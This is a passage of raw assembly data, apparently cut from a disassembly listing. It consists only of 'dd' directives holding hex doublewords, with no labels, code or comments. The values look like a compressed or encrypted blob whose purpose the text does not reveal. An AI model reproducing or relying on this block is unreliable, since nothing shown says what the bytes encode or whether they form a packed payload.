		dd 6D34EB5Dh, 98CCB6h, 8756BAFBh, 0F6C7E03h, 5C2A513Eh
		dd 0B33200C8h, 64497877h, 0D9D16F6Eh, 51986CE0h, 1500B082h
		dd 0B6C623C4h, 148CEE1h, 0C12CB244h, 83AC4B56h,	0CFB9A131h
		dd 6FA115FEh, 2E00E869h, 0DCAEC649h, 2F00F404h,	6F1923F6h
		dd 1C112005h, 0D3692922h, 95C00424h, 7D6F46CFh,	78F3959h
		dd 2B1D18Fh, 441BDAA0h,	97077B17h, 4DE7ACC6h, 9B48203Bh
		dd 1253F0Eh, 488EC3E1h,	80CACEBAh, 6CF8EE91h, 0B018780Dh
		dd 0BCD55308h, 5B249B22h, 6C807852h, 0DA7C602Dh, 0FB7E607h
		dd 0FC345F0h, 53EC0456h, 78A0804Ch, 51F5E9FEh, 421640h
		dd 58A2B9D2h, 0B310BCE3h, 90948E95h, 53200420h,	0CBBA2C6Fh
		dd 25944244h, 6A00BC46h, 84F21EDBh, 3A2C25Dh, 0A69BBCEFh
		dd 7FD8612Bh, 7B1D4929h, 8012C61Ch, 60E6F000h, 125B45DDh
		dd 354421h, 0F682380Eh,	90CCB92h, 0F1C24FD0h, 3CD750B9h
		dd 48E20A9Bh, 44ECB17Ch, 42D245A8h, 7AC58C27h, 8441BCCCh
		dd 52C0E8A0h, 880248B0h, 0B345C493h, 38A540E5h,	8E1C15F3h
		dd 0D60A9037h, 13284F36h, 74CC544Bh, 0FD31B93Fh, 80686F91h
		dd 41E5BD19h, 868958h, 49E951DDh, 0CACFE88Bh, 0F0D93503h
		dd 0FBBEC93Dh, 0D2580613h, 48D19547h, 0AEDC093Ch, 0F5663C68h
		dd 5C51061h, 0A65C78C4h, 0A8407E38h, 193D68D2h,	6E3029D4h
		dd 0E9DC08B2h, 0D454FB64h, 0EA3A7602h, 28CB9AAAh, 31380A1h
		dd 0DD10F6Ah, 38005F49h, 890241C2h, 130005EAh, 356110E4h
		dd 7C4E1E8Dh, 7B31D87h,	0CF04028Ah, 2451259Ch, 4D77B800h
		dd 7F0F38h, 62067181h, 0B8034E5h, 92EC9F3Ch, 40508850h
		dd 224052BCh, 44849098h, 0BA79257Ch, 3EB18462h,	21D02675h
		dd 79477B00h, 0D8AB6544h, 99620003h, 0BA17AEC5h, 35009C6Eh
		dd 1BD78F6h, 0B8B1E373h
		dd 1C9C92D0h, 559D957Ch, 640090BCh, 563DB923h, 0EC018607h
		dd 5F15E5B0h, 52DCE802h, 1669246Dh, 0B2100844h,	8C41E644h
		dd 7826D135h, 0BBBC40B5h, 86D284h, 37930E0Ch, 1714ADE3h
		dd 0C8E425h, 169F2040h,	523651Bh, 0C8981859h, 0B2209094h
		dd 0AD098F72h, 1247D6E7h, 4F846168h, 0A62CA473h, 6E74086Ch
		dd 3052DF44h, 3E1C6654h, 6E480D04h, 68C37CB0h, 5140F4B5h
		dd 17213338h, 4590A048h, 0A2CC4440h, 42080148h,	0FE164ECCh
		dd 5C7A26E0h, 3306869Ch, 88EF96A4h, 28227843h, 982C6CB3h
		dd 579CF910h, 8E740EE3h, 0D2E42072h, 4E01ED8Ch,	0E94DB9FFh
		dd 0A5D41DFCh, 0C06F7E6Ch, 0D16386D1h, 5301A7CCh, 5B2824E4h
		dd 0BAFF3E8Ch, 904053CAh, 0BFFC8404h, 0B7CCDE40h, 5E28B291h
		dd 0E317D0FBh, 464678h,	90408B58h, 0D0564524h, 81C6CF79h
		dd 549C79Ch, 58D83DD4h,	88B8C409h, 58B28418h, 6D116760h
		dd 0BCA40Eh, 3EED5AEFh,	0CEB5B80Fh, 0C57A7000h,	44821827h
		dd 8823EB4Bh, 423C4328h, 265FDF4Eh, 0ACDA7249h,	0A08CB170h
		dd 72AE25E0h, 409C03C2h, 0CF100D43h, 38768B98h,	2550B20Ch
		dd 0AB11877h, 0AE6641BDh, 20B82CF4h, 24A14C60h,	21DD427Fh
		dd 60F426DCh, 0ACDBC0E2h, 58D2400h, 0C9C3E9C8h,	8600BAFh
		dd 0E882AD4Ch, 98124D67h, 9C40D298h, 0CD348C08h, 0C8E12B51h
		dd 0A309CBAAh, 2267D2DEh, 18542FCh, 8069AB9Bh, 9D4CBE89h
		dd 5204E3C3h, 3E24B472h, 69DB002Bh, 74E93C41h, 552CE100h
		dd 0D6A0F475h, 4A44A1Ch, 226E4404h, 0C86F2540h,	2003C30h
		dd 58E7939Fh, 122252BBh, 4E65333h, 10F9719Ch, 0C0544898h
		dd 1816AAABh, 34D35CBAh, 0AE800DB2h, 480CC6ACh,	0A0048F00h
		dd 5453A517h, 0CD6B0180h, 0A727F920h, 0BD705165h, 0D0C060C0h
		dd 22D61888h, 9CA14635h, 43A43492h, 0AC475286h,	0A200A422h
		dd 7E400595h, 26AE03h, 0CF964419h, 0FB5F0A1Dh, 0EC3EA912h
		dd 0AD1C2404h, 4C946CE0h, 8AC404C7h, 4D9CC0CCh,	0A098D50Dh
		dd 0CC2613Dh, 71505C24h, 3F927822h, 132EFEA7h, 0B06D0864h
		dd 44E0742h, 8810E2A6h,	0B09494DCh, 4AABC910h, 0F0EC4830h
		dd 0A36B00A9h, 437EEAD2h, 0D61DF9B5h, 2E038E17h, 78D7A52h
		dd 46917998h, 0E2C73418h, 666040CCh, 5126630Ah,	97909C8Eh
		dd 12905ECEh, 5C287404h, 0EE9C890Fh, 0A906C0A0h, 0EA003BEDh
		dd 1B9A9284h, 0DCD645CAh, 0FF6E03B2h, 0D011EE24h, 9E08AD41h
		dd 851DB59Dh, 0EF0E8180h, 0C69CBAh, 4FE27B11h, 3CACC9A0h
		dd 94C2A62Ch, 0CAA7E101h, 0A03C798Bh, 4948FD80h, 23B9B75h
		dd 866FC015h, 0FB869074h, 0D611E472h, 408448FEh, 0BD615B64h
		dd 60E2AE31h, 716B9DCh,	0A63DA952h, 50F2505Fh, 4C9130ACh
		dd 84C46589h, 80894FDCh, 1E1DA020h, 4BE462E2h, 740084B7h
		dd 411760EDh, 389C60E5h, 68DD4C86h, 0C841C6A1h,	78B8867Ch
		dd 109089FAh, 0C2488D71h, 0C542C444h, 237DBC82h, 99BE3CD2h
		dd 79D0AD59h, 601B4586h, 0FA42CAE0h, 0B4017522h, 4B712D7Dh
		dd 34CCD011h, 48A00283h, 1409AC54h, 889DE081h, 5FED0033h
		dd 0ECE00590h, 88A175F8h, 670FF4D8h, 80035A6Bh,	8EFE667Fh
		dd 7DB5E6B4h, 9D4F0D45h, 0C8624344h, 0AE59DDF9h, 0BC6E2EECh
		dd 13E99540h, 5FD80092h, 30824C9Dh, 6700C638h, 66C0D2B8h
		dd 6A962Eh, 0CA0C1B83h,	7CA66461h, 3BEF880Eh, 0F4754A7Dh
		dd 17CCBE00h, 0A92443h,	1B7C77A3h, 0A00AC99Ch, 32189F77h
		dd 6D300F7Ah, 0D1180089h, 6B078B45h, 58004094h,	0D0023FA6h
		dd 0F9BB753h, 0C76D5025h, 374EBE80h, 813C9136h,	0F706092h
		dd 0C07C96E6h, 0FE2C7150h, 500BDF9h, 1C672B60h,	0C088E528h
		dd 0C8F2C021h, 0C2FC9A65h, 83AFBC14h, 0A1863392h, 7C9EA8EEh
		dd 8C663057h, 0F87E0FD1h, 0C5240A1h, 0BA508888h, 82D17962h
		dd 211C8098h, 156BEF08h, 8C79EA7Ch, 0A203F301h,	8010A636h
		dd 0A9544F28h, 2D26258h, 4AE2CE20h, 9CC01365h, 830018F3h
		dd 8BDEB2FEh, 74580AA8h, 14BB008Ch, 71DF70E9h, 0BA00811Ch
		dd 536FE320h, 0A13D76BEh, 0E6118350h, 3400D240h, 9EC5D3Ah
		dd 0B6285A12h, 52C6B881h, 0CF77F8A5h, 0E017220Ah, 3D18E5h
		dd 0D2992AD4h, 509B46h,	0C2234B7Ah, 0D3BD7BB6h,	45BC2400h
		dd 6FC67DB0h, 0D2FB00DAh, 2C024B55h, 61076435h,	6859EDA7h
		dd 23E39090h, 80A90013h, 0B64BF726h, 0AB7515FCh, 2860A6EEh
		dd 7F3CF239h, 105163DDh, 193E5DD3h, 0BF8700DBh,	5AB1F904h
		dd 101A0FE4h, 7683DF8Eh, 281B5229h, 0C031D531h,	0F4A6776Ah
		dd 29550328h, 2BF8B061h, 0B5A22807h, 112C3376h,	1028F402h
		dd 2C01ADh, 6B12F905h, 6D95A64h, 0D430E144h, 0A00F5936h
		dd 4FECF4FBh, 22D7C0A5h, 14589AD8h, 4451813Ch, 1D4ADB11h
		dd 0D1F019EFh, 5994F5h,	0CEC31329h, 60FF533Dh, 9698200h
		dd 0DCE49DD1h, 3C5D03B6h, 361D4BA3h, 17385100h,	40AE2953h
		dd 5D320AE9h, 802C6AA5h, 8548AB58h, 6073E679h, 8600437Fh
		dd 8774F2D7h, 1FB02E9h,	254B41B0h, 430123A0h, 2BB0D9C8h
		dd 0B8A5823Ch, 8CBBD180h, 0B3578Bh, 7FB0BED6h, 2009D3C6h
		dd 4E35812Eh, 0D730FC02h, 0B8748818h, 1A60721Fh, 6964848Ah
		dd 8C89FC01h, 0B607602Ah, 22FCBC53h, 0D1871504h, 0BA00C8F4h
		dd 0B539CF3Ah, 8403ED10h, 1873BB2Eh, 0AED59011h, 0B441D0B4h
		dd 3CC4D73Fh, 982A802Ah, 0AED3F703h, 75A2D675h,	0D22D4429h
		dd 1A801274h, 15DE0072h, 4D93EF7Ah, 9F00F384h, 0B0D0AC90h
		dd 60D2A2E4h, 76C1A159h, 0E8004A71h, 3034C254h,	49536955h
		dd 407134F7h, 5B008732h, 0B0362823h, 22D307E6h,	2602FEF7h
		dd 0D871D745h, 501849A2h, 6C0C5849h, 760144FAh,	0C2D057EFh
		dd 64863DDFh, 0B40159F9h, 9A4C443Bh, 89E806DCh,	0BECE05ACh
		dd 0E589B0Dh, 1871A7B4h, 0B441357Bh, 60101EE4h,	86A68419h
		dd 0B694914Eh, 341D11F5h, 3201A1BBh, 395AC3F2h,	0CC1ED8FFh
		dd 33A7091h, 0BE61264Fh, 0F7390CFAh, 0F27153B0h, 0E2E76A2Ch
		dd 614D110Ch, 212A89BAh, 0E62402D8h, 136AA483h,	0F6BF8910h
		dd 0EC00229Eh, 0B8EE4CE2h, 60CDE5F1h, 532C19BEh, 3014C5DCh
		dd 8F9042DEh, 1600900Eh, 126A9310h, 0E5001B44h,	0EBE83B90h
		dd 6A30154h, 0B8FDA9E7h, 6343A85Eh, 0F728C522h,	8E0434AAh
		dd 559E7DB7h, 0F8E078C7h, 244E1ACAh, 4060D231h,	0C601DD9h
		dd 0D88F0900h, 5F46F666h, 0E1A004C1h, 8C6586F2h, 8D48818Ch
		dd 22234h, 0E5F96CE8h, 98AF1248h, 54040F0Fh, 82C820E2h
		dd 0A4699EC7h, 15F10318h, 6FD3739Dh, 53EFBEA0h,	0F4BF5A04h
		dd 50C0A1A0h, 8BA2D845h, 5CD34694h, 838A3941h, 0CA4EA480h
		dd 0B6DBCB03h, 403D1D26h, 453D3591h, 0E4923B00h, 0D50846B1h
		dd 7F13C301h, 2EFA1AF8h, 0E9F990F8h, 0E80D5C21h, 196BA802h
		dd 0B53110ABh, 0FB9226D6h, 0F3D20C9Ch, 0E2007B19h, 86D45415h
		dd 1440AB71h, 9D569128h, 9C2728h, 0FDED5853h, 2DC9A5F8h
		dd 0CE0C360Ch, 0BB10D7h, 0E6D3674Dh, 1DF57FA0h,	2DD0DD12h
		dd 0ABD00437h, 0F90405C2h, 41E4BDF5h, 1E5B0FFDh, 2241230Eh
		dd 31E0368Fh, 0C940461Ah, 32541490h, 3600FA84h,	45E01F20h
		dd 90A9A039h, 0C44C00C2h, 30A18162h, 39C148D6h,	0F1E96F3Ch
		dd 42E19830h, 2958223Bh, 5B07E3Ch, 2BD614Ch, 0F34AA238h
		dd 4642ACC0h, 0F270380h, 522DEAA1h, 3CB8C04Eh, 6412FD85h
		dd 80043A4Bh, 4880C904h
		dd 30DF69ADh, 0B511A7Ah, 0C400CB22h, 3126893Ah,	2AC2AEh
		dd 97B1F18Ch, 33196988h, 626889C0h, 9BC420Fh, 0A3F859E2h
		dd 32E0D884h, 8482123Eh, 61233732h, 7C186CAh, 0B0F820D5h
		dd 0C129C73Bh, 209107D6h, 30150178h, 9F8F7D2h, 3B8C77h
		dd 0B63DF622h, 261CB092h, 11D82737h, 9C6B013Ch,	0B890A3AAh
		dd 7C60DBC5h, 507E6B82h, 0DEC52421h, 104A12A2h,	0CA0178EFh
		dd 9C7DBEF1h, 0C041032Ah, 40141BD5h, 0BD4D1944h, 0D848A02Eh
		dd 0AA210006h, 0CFB7D179h, 0B8E3488Fh, 0ED006022h, 1E77ADECh
		dd 5BA7C6Eh, 25C4D68Dh,	0F6F405F3h, 0F488103Ah,	79085921h
		dd 6003832Ah, 7918FBCAh, 2C19ABF7h, 65CF3D8Bh, 2A2414C9h
		dd 77F11198h, 54D6AF06h, 225022F7h, 4C033585h, 0AAF38D29h
		dd 18497651h, 0B8D513D2h, 19C0DC19h, 6A2D8B6Fh,	0BA68009Fh
		dd 32016C17h, 0CA130C58h, 1404E010h, 7E44D96Dh,	203490Ah
		dd 11128000h, 0F8821437h, 0AAA220F4h, 0F2175683h, 0E0166EBAh
		dd 927BAC30h, 14789817h, 5C287D33h, 0E8371050h,	0D16A07F3h
		dd 203DCD1Ch, 180A61E9h, 0F0D32E07h, 54705633h,	541EC81h
		dd 0DB637C4Ah, 9A1EBE02h, 5DA8F3C5h, 0FCCA4805h, 2651AC32h
		dd 75F8097Bh, 8492C13Fh, 0D3FE32C0h, 0D719BFF8h, 30E321ADh
		dd 12420358h, 1D52E522h, 0B4F300A4h, 6FD13378h,	163F43Ch
		dd 4A91255Ah, 403652A4h, 237BF7D4h, 2A0988B8h, 0D039D3h
		dd 0DCB607Ch, 7E28A62Ch, 0EF4712Ah, 0F7F16385h,	616E5BE0h
		dd 4C280DDDh, 6542CCF0h, 7E098111h, 7F33870Ch, 384A1126h
		dd 0B392FCD3h, 457803F2h, 1E783DAh, 5118D27Ah, 82974C0h
		dd 4D6FF08Eh, 852150EAh, 6B0C2591h, 0BCA9D819h,	0B15039h
		dd 3DA3EC6Dh, 1571AAAh,	5A082807h, 0ECED544Bh, 81C8043Ch
		dd 0D24C8280h, 4410AE9h, 0D1898A96h, 1B80ACFDh,	4A786D5Bh
		dd 67253054h, 0DE37DB78h, 327B2318h, 0F09EA389h, 0D6830F0Ah
		dd 3726A1CEh, 7D00402Fh, 0BE53360Fh, 4EB134h, 7486AAC9h
		dd 0B270A0F7h, 0F21F1403h, 8CED6355h, 63C124C2h, 46B192ACh
		dd 0F76A0298h, 0E1B65FF9h, 0D104CC47h, 0A89CD604h, 25B2009Ah
		dd 438BA8B6h, 2C3D1362h, 0A3B8DDh, 0DB1D745Ah, 1AAD109h
		dd 34D31755h, 0E0C47539h, 0F7005F7Fh, 2A811808h, 383224Ch
		dd 6A56FA82h, 4FC2B679h, 6BF280E0h, 64B5F324h, 39401F64h
		dd 0DF06E9BEh, 0F5D20101h, 475B25B4h, 6B107ECh,	5172E29Fh
		dd 9E2551F3h, 1980A929h, 8E08B23Ch, 0D2E4CA14h,	2AD91080h
		dd 6010A22Eh, 65CD0F81h, 0ADEBEF3Dh, 2CFB7C9Bh,	7351867Ch
		dd 7CB2846Ch, 1AB61E14h, 6F400EBh, 2DE4299Dh, 12507E4Ch
		dd 5ACECF3h, 80DE2789h,	20B081DCh, 7AA32200h, 0C26A7D54h
		dd 0BA26030Eh, 0F441D192h, 0E0DD6803h, 64D2CBh,	3627F891h
		dd 662A82F1h, 78BFCE07h, 5CF03356h, 962FDE1Ah, 14A8608Ch
		dd 0CB005917h, 7958B5D8h, 0E1F5F70h, 3A436772h,	0D9F4D343h
		dd 852ECFE0h, 3603E800h, 0E4530B26h, 8D05081h, 14DC51D3h
		dd 9C7DABE0h, 0EEB28208h, 0CC612D07h, 0DD0828h,	549B82E4h
		dd 70C0CB6Ah, 1310620Fh, 430380D3h, 1851264h, 0C35A0FD4h
		dd 31E0533Ah, 0CC080574h, 8B002D28h, 0C74C74C8h, 7F31E34h
		dd 6B26C117h, 0D1AEA1DCh, 0AD8064DFh, 5C611244h, 893ACB4h
		dd 5D805C60h, 0F711DB58h, 59C02CF4h, 312B075Ch,	3CD1ACD8h
		dd 0A2E17425h, 1143DC38h, 9100D20Fh, 1A313B2h, 0E2B9D1C5h
		dd 0D88DF111h, 3C077A7Bh, 0CE7E2CD2h, 40D38042h, 0F0B52A9Ch
		dd 9B0A00F2h, 0A73BE258h, 554C1702h, 0D8099348h, 2BCC305Ah
		dd 1167793Ch, 0FCD2F1h,	90CB45CFh, 49F27BDFh, 0B5C970E3h
		dd 0AF31E0C8h, 1796EE3Eh, 140458A3h, 9CB47A9Dh,	41F2B7h
		dd 0D292269h, 0E5A53EF4h, 0F7CB7001h, 0C9B75FEBh, 2C499C48h
		dd 1134B9DDh, 447C5056h, 6AB81812h, 80579408h, 94F38666h
		dd 147C283Ah, 0C2005891h, 73BD1D60h, 0E87ABEh, 7B56E7A5h
		dd 0C47A913h, 0A1E3310Fh, 86DCF4D2h, 4CC909CBh,	0B28FC01Dh
		dd 82A89580h, 0EC0028A5h, 0AE6E6C70h, 75D10F7h,	603C64FEh
		dd 8CEE906Bh, 584E9767h, 0DF9B7420h, 718000E9h,	56964C0h
		dd 4D0FCA89h, 745423A4h, 0C8600E90h, 0D8900ACEh, 0E1FEC680h
		dd 0A2EF589Ah, 0F2D811B4h, 5C18A3DCh, 0CE80D07Bh, 43926285h
		dd 0DBF90C00h, 0E201D7F7h, 8C415C7Bh, 6C85BE07h, 0D61ED8AFh
		dd 0A1C0ECEEh, 96D35818h, 45EC8068h, 0E4CDACFEh, 0AB005FFCh
		dd 0D587DB20h, 124BA540h, 22CA461h, 3119DF42h, 704E2048h
		dd 535C1A00h, 5B58DA9Ah, 0C7CC0116h, 7768A5A1h,	2AC32A6h
		dd 0EE7DB18Ah, 0D8D4E931h, 0FFA0A838h, 77029B47h, 456EB4E4h
		dd 1960C121h, 25512980h, 4F96C49Ah, 8479922Ch, 8A2DFF00h
		dd 0F8288Ch, 7A418293h,	54A08133h, 5AD3A0C6h, 9C275E1h
		dd 9BAE6239h, 32D13000h, 0B002B4ADh, 0ABE7F69h,	0C08C4A43h
		dd 8851C0C4h, 19027927h, 0EB7A1B4h, 22C7B08h, 3B16096h
		dd 4902205Ah, 0D07EEBD3h, 3AD07A7Ch, 270E97F9h,	0D1E0DB57h
		dd 8EF05540h, 69B5E400h, 24F7F28Ch, 15533DF3h, 377D7860h
		dd 7098CA36h, 8B126900h, 0F262A17h, 87ED2C13h, 7E521150h
		dd 6D0C1D01h, 34FD676Eh, 3E981EE4h, 0FB078A12h,	0C0513F25h
		dd 0AE4F14D9h, 3961D230h, 84BBA5h, 801C338Dh, 0EE9CFF16h
		dd 0A7762800h, 53CB013Ch, 48D75481h, 0DD7CA0ADh, 54125CFBh
		dd 0BE00B05Dh, 0ACA2F1F5h, 1154D209h, 0E9009D88h, 6853EE5Dh
		dd 0EF77C3Fh, 7EAE9390h, 0A338CCFh, 2EB8BD9Ah, 0B97A42D4h
		dd 75E32868h, 0C7D55E04h, 28A22949h, 6D5D3300h,	13F3AE8Dh
		dd 0A4944890h, 10876E40h, 6F731FF1h, 0C2411FF6h, 0AA92C3CEh
		dd 1052B402h, 20E14FE3h, 0E0A40CC0h, 0AC2B1A2Ch, 0E80E361h
		dd 22A5D60h, 9B056EABh,	0ACE0120Fh, 0F4180B5Dh,	615167A6h
		dd 0CB9D4B7h, 0FCABD327h, 0A1818400h, 0F324D89Dh, 0A69338C0h
		dd 6B57A020h, 2CFF3BD2h, 0ABC77A6h, 0C288833Ch,	24502499h
		dd 51DB7910h, 615BD319h, 0FC8AE9B8h, 4504497Ah,	0F4A35DCDh
		dd 577448C1h, 5864C433h, 0A8206476h, 74C313C2h,	60B75C67h
		dd 0B5646B00h, 0AAFAA51Dh, 48D9A402h, 686A18D3h, 0CB04B6D4h
		dd 60681DE9h, 2401CC8Dh, 63B779A2h, 74C45083h, 0A484009Bh
		dd 516B8790h, 0E6119C1h, 0AE25F781h, 5002822h, 0DE1FDBD6h
		dd 363295ACh, 25DDA02Dh, 4FA0C8D2h, 0EC8E0D00h,	0BDA4A3A6h
		dd 0CD200B85h, 8C80FC05h, 0F24A8DA0h, 1928B103h, 80A16A2Ch
		dd 698333A4h, 0E582A9E5h, 624029FCh, 0B2435A6h,	0CC80DCA3h
		dd 0C930EDC8h, 20DCB008h, 8B131E96h, 5C0075B7h,	0C9609161h
		dd 98E207E7h, 0A002C35Eh, 21CBBDF8h, 0BB102000h, 90383081h
		dd 29700063h, 0FDCF36C8h, 9D00DF3Fh, 0BF04B051h, 0E50C091h
		dd 29D89CEFh, 6636D700h, 300F7FFAh, 1F22F8Bh, 968E7E60h
		dd 631071C0h, 1DE5468h,	4FF1AFC8h, 80318770h, 8F6A08E0h
		dd 3ADD2980h, 1543740h,	80D07451h, 0A38587D0h, 3D200DA2h
		dd 98876818h, 0E329AAC6h, 2BA01F81h, 6936999Ch,	0CA49A7h
		dd 0C725ECB1h, 671CD0A2h, 79FAE507h, 0CA5191F4h, 0C570D6D3h
		dd 80FB0131h, 107EE858h, 2773C097h, 0A1353Eh, 3862120Ch
		dd 23488Ah, 6159F191h, 0DFBC2A18h, 0B7E0F00h, 0E1578F7Dh
		dd 0C021F807h, 31957140h, 8403DCF1h, 0B4B84EC9h, 113BB0C3h
		dd 6CAF00ABh, 0A7D5E577h
		dd 8D909291h, 22B2EA00h, 4FF9DFA9h, 3A73004Ch, 0A45D3E81h
		dd 911C9212h, 0FCCFFBC1h, 4A168364h, 0E0568B35h, 0E25710D1h
		dd 92903BBh, 768689D8h,	8D7EC91Bh, 2BC4C091h, 9E4903F4h
		dd 0A66976B1h, 0C1EB1900h, 0AC623412h, 0CE9C00BCh, 54903F5h
		dd 63030D37h, 1F90850Fh, 9E022E8h, 0BF05C000h, 141EE759h
		dd 138C093Fh, 30036AC9h, 810063E9h, 0BA7CA704h,	3351F32h
		dd 0FB280D02h, 0F08870E3h, 7B0CBD4Ah, 3166E981h, 8E5B07BBh
		dd 9E0A2D38h, 0B2E8CBA0h, 2F3930DAh, 26EC00FDh,	15998576h
		dd 8988C05Dh, 0EE91247Ah, 3DBA1703h, 106AFA1h, 114797D8h
		dd 0EC861D2Ah, 890661F1h, 4D19216h, 1E811921h, 8A8FD10Dh
		dd 0C889AD48h, 0AC07910Fh, 22DC2901h, 96171D19h, 891D62CCh
		dd 8E0BF540h, 0B6C931h,	1F72BA9Fh, 0C15BFC01h, 8DBEF114h
		dd 82B738D7h, 0B1B97476h, 51948208h, 97600366h,	0E8A3C799h
		dd 0E9733775h, 0B02C84A8h, 4F17BF02h, 4846BCE8h, 2A550468h
		dd 0DC9369h, 0F144EA25h, 0FCE96867h, 0F81DB490h, 61D87334h
		dd 0FAAE49h, 40468BCEh,	60D64ED4h, 8E2BE501h, 430F30BCh
		dd 0C1DC9BFAh, 0E9A004FDh, 0F8A484F6h, 51DFF4h,	0B1D617F0h
		dd 360294AEh, 0D20207A3h, 80B09FAAh, 180B8609h,	84A36012h
		dd 79B020ADh, 217C6BF9h, 4CCEB700h, 7EAB33FAh, 432B00B1h
		dd 9FF2036Eh, 0D00EEB8h, 0E77790B7h, 0FF129ADCh, 0F8000823h
		dd 0AFDA0F4Fh, 98A8A269h, 8C03F122h, 0B2AE5AF9h, 0C02AF05Eh
		dd 0A27900D8h, 3AA66248h, 89EA258Eh, 5FE0360Bh,	0C12053Fh
		dd 9008D824h, 9EC4A10Ah, 4DEA82Fh, 41CC8336h, 0C1B087A3h
		dd 52EC848Ah, 0FC83099Ch, 49114015h, 0F00808FCh, 10308D89h
		dd 30142B90h, 0D9286511h, 0FE880C19h, 27F8E5h, 0BE4E7B98h
		dd 4A05EFB2h, 7BF85148h, 0A3932284h, 59F0B030h,	4D0F74h
		dd 2C1809BAh, 0FF110EECh, 59167300h, 0F48BB399h, 0B89F68FDh
		dd 110F11FCh, 0BA017CE9h, 1BDBC69Ah, 0FBA8D403h, 8595DD04h
		dd 0CD21C40h, 33FE200Eh, 0D94CDBBFh, 1EB4101Ch,	1402A850h
		dd 964AFCC9h, 3011901Bh, 5641875h, 0AC06671h, 398E7A1h
		dd 908F3FB7h, 0F1900FE3h, 0D9C49253h, 70C8EB18h, 731407F6h
		dd 4104F83Ch, 208BA1DCh, 4C50F030h, 7700BB18h, 3861E0BEh
		dd 2A6778AEh, 0EEC00E99h, 0C0D0148h, 4D29355h, 35AEC491h
		dd 9986E214h, 21222D4h,	46163C1h, 0C64FBDEh, 0D60D19E8h
		dd 0D1F20FBEh, 85B681F2h, 0F8864144h, 898E867Eh, 73878A1Ah
		dd 0A02463B9h, 0C2436C85h, 13500428h, 3103FC93h, 0C10D6097h
		dd 48144873h, 3CEE0222h, 29886937h, 74362CC0h, 79FC00BDh
		dd 0AAFBBF53h, 0BB51FE2Ah, 50B7609Ch, 615EE001h, 0EAFD09Bh
		dd 9F8B499Ch, 0BE82401Ch, 4050253Eh, 0CDA0FD01h, 0F096E867h
		dd 7981B988h, 810B0742h, 8B7E6150h, 5B4F9A0h, 1772F832h
		dd 0F0D021C2h, 12C4486Ah, 0D455F40Ah, 0BF3EB80Fh, 11344C37h
		dd 448F60Ah, 9D000622h,	0E3B481B5h, 14451FFh, 7B465C30h
		dd 206136FCh, 952623FCh, 0B740A464h, 91181DB9h,	0E07C0F98h
		dd 7F7BDFE0h, 62187239h, 0F53955B4h, 0D60F8161h, 1984DCB8h
		dd 168A0480h, 48674513h, 3BA7968h, 0DE8D17DBh, 8E5298DCh
		dd 248A028Bh, 5B689A1h,	7450E064h, 48908F44h, 30F0AD01h
		dd 0E0613781h, 0B9F23284h, 9908895h, 0B089F138h, 0BF7E4172h
		dd 308A31CFh, 41F8029h,	0D8948Ch, 151A4DEBh, 83D3299Fh
		dd 0DD48E80Eh, 0A1BAA1C4h, 91CC5F43h, 500F72E0h, 99254875h
		dd 4120A5Ch, 81C96C8h, 17808A2Ch, 291B2752h, 0AF803A5Ah
		dd 8516AB8Ch, 19483888h, 301089E8h, 9E659DCh, 13859040h
		dd 0EC249A89h, 0B6D4C0A6h, 0A298C3AEh, 0AF310E72h, 782D390Bh
		dd 1FCAF3C4h, 8F52C3B7h, 8D89B6C2h, 8A7E2C90h, 8B8260B9h
		dd 2A0CDCCh, 8C980D78h,	1088877Eh, 63ECB8BFh, 2E342079h
		dd 0DC90B101h, 948F7E93h, 0F6C629A0h, 84892EA5h, 0B1843FCh
		dd 0BC554900h, 8F23FC9Dh, 4C200060h, 83C831C1h,	90005B40h
		dd 6E917D1h, 613DFFh, 8BBAC6F8h, 0C4162C7Dh, 0F2F07630h
		dd 92FB0FC9h, 0F1742E0h, 0AD080B8Bh, 806311F9h,	0D89D5400h
		dd 0E179766Fh, 0AEEA4000h, 0A32F0E55h, 0C98C002Eh, 91E49AFFh
		dd 54CD651h, 0B478C1BCh, 65EC5D33h, 48C90030h, 0BB85205Ch
		dd 6800F7F0h, 0AAC39775h, 943BDF11h, 0A6494054h, 3D004B2Bh
		dd 93C1835Fh, 742030Eh,	26270462h, 5C511214h, 0E63B44Ah
		dd 0A96A3903h, 8D3A65C0h, 44128C84h, 10305412h,	285385FAh
		dd 1EB820F6h, 8908328Bh, 0EC8091DEh, 9687A3CBh,	0C87E3B3Ch
		dd 8D099D40h, 92841177h, 0EC0C202Dh, 0E4197BE9h, 6800F172h
		dd 4E7B43Dh, 93BF0B5h, 100D1D83h, 1EB93085h, 0C34E1E1Ch
		dd 708789DAh, 8A084103h, 55C503h, 2762F0D9h, 0FD16B34Dh
		dd 9C93110Fh, 78F2C241h, 0A880E1B9h, 1307518Eh,	118C3257h
		dd 44607826h, 88287E7Dh, 82746890h, 136F088h, 562DBDDCh
		dd 108C8589h, 377D91h, 5D72CC35h, 904FBE9Eh, 0B6ABE203h
		dd 0ECA3349h, 0C6117129h, 5BDB5A43h, 5872B800h,	0B001C739h
		dd 0B969C308h, 0ADC84376h, 6209D15Ah, 90BBA261h, 58BE98C4h
		dd 810A9CFBh, 12600D35h, 6898610Fh, 0CA3180A4h,	55A139A9h
		dd 581D0030h, 86D2B32Eh, 0DA007AEAh, 0ABDF720Ah, 51E7AFF1h
		dd 40729824h, 0D0833E7Ch, 98649100h, 0E0656A5Bh, 0BE3B6300h
		dd 5211FF7Ch, 0D0324D6h, 88E9C434h, 88009AC8h, 7A5B189Dh
		dd 1D2ED5F2h, 8309053Dh, 2012C3B5h, 10E4D048h, 8C4C959Ch
		dd 5B4AA4D8h, 70B4BD00h, 0B8BC9A0Eh, 8E4014ABh,	2780A818h
		dd 0D0CAEF25h, 7DB4448h, 0DBAAED36h, 0D911D02Ah, 306A081Eh
		dd 0B5369459h, 846C5A00h, 37A3F020h, 0B7DF008Fh, 66E3BA4Eh
		dd 29050398h, 61066523h, 8B888102h, 4FB80A3h, 3C30223Ch
		dd 0D0E9171h, 0F8A0CC6Bh, 2F015E53h, 6036DC00h,	0B097FBCEh
		dd 0E78B24A4h, 375100A4h, 5CE8A730h, 0E23B1F01h, 1418C158h
		dd 0CDE8C6C9h, 0F06D2595h, 0DC00485Eh, 0B0D0100Ch, 3C507789h
		dd 5CDC07AAh, 7841D980h, 8C0C787h, 0C2A4D8C3h, 338001D2h
		dd 0FAB00F2Eh, 5010271Ch, 518A0A7Ch, 0C56C0554h, 2589FC5Dh
		dd 0D3C246Ah, 5642EA40h, 73007D9Ah, 270ADE95h, 9E2ACB3h
		dd 1908E8A2h, 4080D029h, 0A1D959D8h, 803FC100h,	8864A218h
		dd 0E689033Bh, 607DA83Ah, 0D09217B0h, 1F443096h, 8188232h
